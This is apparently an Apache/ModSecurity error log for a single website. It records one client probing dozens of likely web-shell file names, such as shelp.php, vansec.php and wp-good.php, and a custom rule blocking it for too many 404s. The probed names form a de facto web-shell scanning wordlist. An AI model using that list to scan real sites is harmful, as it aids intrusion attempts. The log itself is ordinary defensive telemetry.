[Thu Nov 20 16:13:39.650489 2025] [:error] [pid 40636:tid 40647] [client 20.27.30.201:3987] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iko.php"] [unique_id "aR7NswK8BWUoW3xq0HDzhgAAA4c"]
[Thu Nov 20 16:13:40.453982 2025] [:error] [pid 34405:tid 34426] [client 20.27.30.201:3989] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iko.php"] [unique_id "aR7NtDFpvu8oRK7ATfv7DwAAARM"]
[Thu Nov 20 16:13:41.190211 2025] [:error] [pid 40415:tid 40431] [client 20.27.30.201:4018] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miso.php"] [unique_id "aR7NtahjIyLSv09svwOELwAAAc0"]
[Thu Nov 20 16:13:42.096231 2025] [:error] [pid 55342:tid 55394] [client 20.27.30.201:3921] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miso.php"] [unique_id "aR7Ntrg6x32Tvk7fIG-83AAAAFY"]
[Thu Nov 20 16:13:42.554245 2025] [:error] [pid 55342:tid 55392] [client 20.27.30.201:3932] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miso.php"] [unique_id "aR7Ntrg6x32Tvk7fIG-83gAAAFQ"]
[Thu Nov 20 16:13:43.485569 2025] [:error] [pid 40537:tid 40556] [client 20.27.30.201:3906] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/miso.php"] [unique_id "aR7Nt6KlsL5kxTa3c1zJhQAAAs8"]
[Thu Nov 20 16:13:44.502431 2025] [:error] [pid 40537:tid 40563] [client 20.27.30.201:4040] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moie.php"] [unique_id "aR7NuKKlsL5kxTa3c1zJhwAAAtY"]
[Thu Nov 20 16:13:45.054647 2025] [:error] [pid 55343:tid 55399] [client 20.27.30.201:3912] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moie.php"] [unique_id "aR7NuVWlO3EnyVMV7w6XEwAAAIA"]
[Thu Nov 20 16:13:45.626715 2025] [:error] [pid 34405:tid 34420] [client 20.27.30.201:4000] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moie.php"] [unique_id "aR7NuTFpvu8oRK7ATfv7EQAAAQ0"]
[Thu Nov 20 16:13:46.955065 2025] [:error] [pid 55340:tid 55364] [client 20.27.30.201:4055] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moie.php"] [unique_id "aR7NuvOxD-NeMydTybCBywAAABM"]
[Thu Nov 20 16:13:47.854495 2025] [:error] [pid 55340:tid 55356] [client 20.27.30.201:4087] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aR7Nu_OxD-NeMydTybCBzAAAAAs"]
[Thu Nov 20 16:13:48.564976 2025] [:error] [pid 40508:tid 40517] [client 20.27.30.201:4072] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aR7NvKxXNVCMW_ksxPtwqgAAAoc"]
[Thu Nov 20 16:13:49.171423 2025] [:error] [pid 55340:tid 55368] [client 20.27.30.201:3931] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aR7NvfOxD-NeMydTybCBzQAAABc"]
[Thu Nov 20 16:13:49.782660 2025] [:error] [pid 40445:tid 40485] [client 20.27.30.201:3991] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shelp.php"] [unique_id "aR7NvVH-MuFcoWRjXpYttQAAAko"]
[Thu Nov 20 16:13:51.375778 2025] [:error] [pid 55343:tid 55406] [client 20.27.30.201:4021] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/siln.php"] [unique_id "aR7Nv1WlO3EnyVMV7w6XFAAAAIc"]
[Thu Nov 20 16:13:52.037855 2025] [:error] [pid 40445:tid 40497] [client 20.27.30.201:4032] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/siln.php"] [unique_id "aR7NwFH-MuFcoWRjXpYttwAAAlY"]
[Thu Nov 20 16:13:53.918143 2025] [:error] [pid 55430:tid 55439] [client 20.27.30.201:4049] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/siln.php"] [unique_id "aR7NwfPZXaIMEU4pE7vkogAAAMY"]
[Thu Nov 20 16:13:55.068360 2025] [:error] [pid 55342:tid 55375] [client 20.27.30.201:4020] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/siln.php"] [unique_id "aR7Nw7g6x32Tvk7fIG-86gAAAEM"]
[Thu Nov 20 16:13:56.058483 2025] [:error] [pid 34405:tid 34418] [client 20.27.30.201:3916] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aR7NxDFpvu8oRK7ATfv7FgAAAQs"]
[Thu Nov 20 16:13:56.751450 2025] [:error] [pid 40415:tid 40442] [client 20.27.30.201:3996] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aR7NxKhjIyLSv09svwOEMQAAAdg"]
[Thu Nov 20 16:13:57.201154 2025] [:error] [pid 40636:tid 40650] [client 20.27.30.201:3917] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aR7NxQK8BWUoW3xq0HDzjwAAA4o"]
[Thu Nov 20 16:13:58.778447 2025] [:error] [pid 40508:tid 40520] [client 20.27.30.201:3854] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sko.php"] [unique_id "aR7NxqxXNVCMW_ksxPtwrQAAAoo"]
[Thu Nov 20 16:13:59.551322 2025] [:error] [pid 40445:tid 40482] [client 20.27.30.201:3852] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aR7Nx1H-MuFcoWRjXpYtvQAAAkc"]
[Thu Nov 20 16:13:59.964236 2025] [:error] [pid 40445:tid 40491] [client 20.27.30.201:3990] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aR7Nx1H-MuFcoWRjXpYtvgAAAlA"]
[Thu Nov 20 16:14:01.084800 2025] [:error] [pid 40415:tid 40420] [client 20.27.30.201:4011] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aR7NyahjIyLSv09svwOEMwAAAcI"]
[Thu Nov 20 16:14:02.579419 2025] [:error] [pid 40636:tid 40664] [client 20.27.30.201:3993] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aR7NygK8BWUoW3xq0HDzkgAAA5g"]
[Thu Nov 20 16:14:03.321892 2025] [:error] [pid 40415:tid 40430] [client 20.27.30.201:3969] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-gif.php"] [unique_id "aR7Ny6hjIyLSv09svwOENgAAAcw"]
[Thu Nov 20 16:14:03.864723 2025] [:error] [pid 40636:tid 40653] [client 20.27.30.201:3959] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-gif.php"] [unique_id "aR7NywK8BWUoW3xq0HDzlAAAA40"]
[Thu Nov 20 16:14:04.842506 2025] [:error] [pid 40636:tid 40647] [client 20.27.30.201:3939] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-gif.php"] [unique_id "aR7NzAK8BWUoW3xq0HDzlgAAA4c"]
[Thu Nov 20 16:14:05.584032 2025] [:error] [pid 40445:tid 40499] [client 20.27.30.201:4078] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-gif.php"] [unique_id "aR7NzVH-MuFcoWRjXpYtwQAAAlg"]
[Thu Nov 20 16:14:06.187305 2025] [:error] [pid 40445:tid 40495] [client 20.27.30.201:3984] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aR7NzlH-MuFcoWRjXpYtwwAAAlQ"]
[Thu Nov 20 16:14:06.696717 2025] [:error] [pid 55430:tid 55451] [client 20.27.30.201:3994] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aR7NzvPZXaIMEU4pE7vkpgAAANI"]
[Thu Nov 20 16:14:07.345471 2025] [:error] [pid 55430:tid 55448] [client 20.27.30.201:3844] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aR7Nz_PZXaIMEU4pE7vkpwAAAM8"]
[Thu Nov 20 16:14:08.572162 2025] [:error] [pid 40445:tid 40492] [client 20.27.30.201:4077] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aR7N0FH-MuFcoWRjXpYtxQAAAlE"]
[Thu Nov 20 16:14:10.237463 2025] [:error] [pid 40445:tid 40477] [client 20.27.30.201:4066] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rrr.php"] [unique_id "aR7N0lH-MuFcoWRjXpYtxwAAAkI"]
[Thu Nov 20 16:14:13.160122 2025] [:error] [pid 40508:tid 40534] [client 20.27.30.201:4094] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rrr.php"] [unique_id "aR7N1axXNVCMW_ksxPtwrgAAApg"]
[Thu Nov 20 16:14:13.508174 2025] [:error] [pid 55340:tid 55369] [client 20.27.30.201:3910] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rrr.php"] [unique_id "aR7N1fOxD-NeMydTybCB1AAAABg"]
[Thu Nov 20 16:14:14.016704 2025] [:error] [pid 40445:tid 40475] [client 20.27.30.201:4010] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rrr.php"] [unique_id "aR7N1lH-MuFcoWRjXpYtygAAAkA"]
[Thu Nov 20 16:14:15.678134 2025] [:error] [pid 40415:tid 40431] [client 20.27.30.201:4006] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tj.php"] [unique_id "aR7N16hjIyLSv09svwOEPAAAAc0"]
[Thu Nov 20 16:14:18.471275 2025] [:error] [pid 40636:tid 40643] [client 20.27.30.201:4092] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tj.php"] [unique_id "aR7N2gK8BWUoW3xq0HDzmwAAA4M"]
[Thu Nov 20 16:14:19.183370 2025] [:error] [pid 55343:tid 55422] [client 20.27.30.201:4030] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tj.php"] [unique_id "aR7N21WlO3EnyVMV7w6XHgAAAJc"]
[Thu Nov 20 16:14:20.254418 2025] [:error] [pid 40445:tid 40494] [client 20.27.30.201:3536] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tj.php"] [unique_id "aR7N3FH-MuFcoWRjXpYtzwAAAlM"]
[Thu Nov 20 16:14:20.598657 2025] [:error] [pid 40415:tid 40441] [client 20.27.30.201:4080] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vansec.php"] [unique_id "aR7N3KhjIyLSv09svwOEPwAAAdc"]
[Thu Nov 20 16:14:21.153087 2025] [:error] [pid 40508:tid 40518] [client 20.27.30.201:4036] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vansec.php"] [unique_id "aR7N3axXNVCMW_ksxPtwsAAAAog"]
[Thu Nov 20 16:14:22.302263 2025] [:error] [pid 40508:tid 40533] [client 20.27.30.201:4056] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vansec.php"] [unique_id "aR7N3qxXNVCMW_ksxPtwtAAAApc"]
[Thu Nov 20 16:14:22.934485 2025] [:error] [pid 40537:tid 40563] [client 20.27.30.201:3846] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vansec.php"] [unique_id "aR7N3qKlsL5kxTa3c1zJkgAAAtY"]
[Thu Nov 20 16:14:23.526388 2025] [:error] [pid 40508:tid 40530] [client 20.27.30.201:4003] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aR7N36xXNVCMW_ksxPtwtQAAApQ"]
[Thu Nov 20 16:14:24.268759 2025] [:error] [pid 55430:tid 55449] [client 20.27.30.201:3988] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aR7N4PPZXaIMEU4pE7vksAAAANA"]
[Thu Nov 20 16:14:24.983780 2025] [:error] [pid 40508:tid 40521] [client 20.27.30.201:3928] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aR7N4KxXNVCMW_ksxPtwtgAAAos"]
[Thu Nov 20 16:14:25.897801 2025] [:error] [pid 55340:tid 55365] [client 20.27.30.201:3934] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/filesss.php"] [unique_id "aR7N4fOxD-NeMydTybCB2AAAABQ"]
[Thu Nov 20 16:14:26.454975 2025] [:error] [pid 40508:tid 40529] [client 20.27.30.201:4054] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aR7N4qxXNVCMW_ksxPtwtwAAApM"]
[Thu Nov 20 16:14:28.086428 2025] [:error] [pid 40508:tid 40519] [client 20.27.30.201:3926] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aR7N5KxXNVCMW_ksxPtwuAAAAok"]
[Thu Nov 20 16:14:30.388881 2025] [:error] [pid 40508:tid 40534] [client 20.27.30.201:4043] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aR7N5qxXNVCMW_ksxPtwvgAAApg"]
[Thu Nov 20 16:14:31.964202 2025] [proxy_fcgi:error] [pid 55430:tid 55436] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:32.080839 2025] [proxy_fcgi:error] [pid 55430:tid 55440] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:32.383052 2025] [proxy_fcgi:error] [pid 55430:tid 55450] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:32.626044 2025] [proxy_fcgi:error] [pid 55430:tid 55456] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:33.165537 2025] [proxy_fcgi:error] [pid 55430:tid 55453] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:33.294361 2025] [proxy_fcgi:error] [pid 55430:tid 55434] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:33.425199 2025] [proxy_fcgi:error] [pid 55430:tid 55445] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:33.774998 2025] [proxy_fcgi:error] [pid 55430:tid 55444] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:36.227649 2025] [proxy_fcgi:error] [pid 55430:tid 55445] [client 20.27.30.201:4001] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:14:36.341285 2025] [:error] [pid 55430:tid 55433] [client 20.27.30.201:4001] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpc1.php"] [unique_id "aR7N7PPZXaIMEU4pE7vk0wAAAMA"]
